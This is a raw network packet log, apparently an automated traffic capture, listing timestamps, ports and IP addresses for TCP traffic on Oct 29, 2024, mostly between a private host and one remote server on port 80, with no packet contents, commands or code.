Oct 29, 2024 06:59:38.858026028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858035088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858051062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858063936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858073950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858088017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858088970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858104944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858112097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858128071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858136892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858144045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858159065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858163118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858175039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858190060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858192921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858205080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858217001 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858221054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858242035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858267069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858848095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858860970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858906031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858918905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.971874952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.971952915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.971968889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.971980095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.971986055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.971997976 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972002983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972023964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972027063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972048044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972050905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972064018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972086906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972093105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972103119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972115040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972117901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972132921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972141981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972147942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972163916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972172022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972178936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972187996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972201109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972217083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972242117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972465038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972477913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972501993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972507000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972517967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972526073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972539902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972548008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972556114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972565889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972569942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972577095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972592115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972595930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972606897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972610950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972620964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972630978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972635984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972645044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972651005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972660065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972666979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972677946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972692966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972708941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972729921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972744942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972759962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972778082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972779989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972794056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972809076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972810984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972825050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972834110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972858906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972862005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972877026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972892046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972898960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972908020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972922087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972923994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972939968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972944021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972953081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972954988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.972966909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.972970009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973000050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973001957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973015070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973026991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973027945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973040104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973052025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973072052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973088026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973098040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973103046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973119020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973121881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973134041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973140955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973149061 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973153114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973164082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973175049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973186970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973187923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973206043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973208904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973225117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973229885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973239899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973243952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973254919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973263025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973274946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973278999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973294020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973310947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973318100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973334074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973341942 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973350048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973364115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973373890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973387003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973392963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973398924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973412991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973414898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973431110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973445892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973448038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973460913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973474979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973483086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973490953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973498106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973510981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973516941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973529100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973531008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973543882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973553896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973558903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973570108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973578930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973582983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973602057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973606110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973614931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973628044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973643064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973664999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973665953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973679066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973683119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973690033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973694086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973710060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973712921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973725080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973731995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973742008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973746061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973757982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973759890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973773003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973781109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973789930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973793030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973802090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973817110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973819971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973831892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973833084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973846912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973861933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973871946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973884106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973886013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973896027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973901987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973913908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973920107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973929882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973934889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973942995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973948956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973958969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973972082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973977089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.973989010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.973989010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974010944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974033117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974071026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974092960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974107981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974123001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974131107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974139929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974153042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974157095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974172115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974181890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974195004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974196911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974211931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974217892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974227905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974234104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974242926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974244118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974265099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974267006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974275112 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974284887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974298954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974307060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974315882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974323988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974335909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974339962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974354982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974375010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974378109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974394083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974400997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974409103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974423885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974425077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974437952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974441051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974451065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974456072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974469900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974481106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974488974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974498034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974502087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974509954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974514008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974529028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974529028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974544048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974555016 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974566936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974567890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974575043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974582911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974596977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974617004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974622011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974637032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974639893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974652052 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974662066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974674940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974675894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974687099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974689960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974706888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974708080 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974718094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974721909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974737883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974742889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974754095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974761963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974769115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974770069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974783897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974786997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974797010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974800110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974812984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.974823952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974837065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.974852085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975116968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975132942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975156069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975157976 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975169897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975177050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975184917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975184917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975200891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975203037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975217104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975239038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975277901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975317001 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975418091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975430965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975450039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975461006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975475073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975477934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975492954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975500107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975517035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975523949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975578070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975593090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975608110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975622892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975629091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975641012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975652933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975658894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975673914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975682974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975688934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.975704908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.975718975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.017422915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.017585039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.018029928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.018151999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.020715952 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.021246910 CET	49925	443	192.168.2.5	40.126.32.133
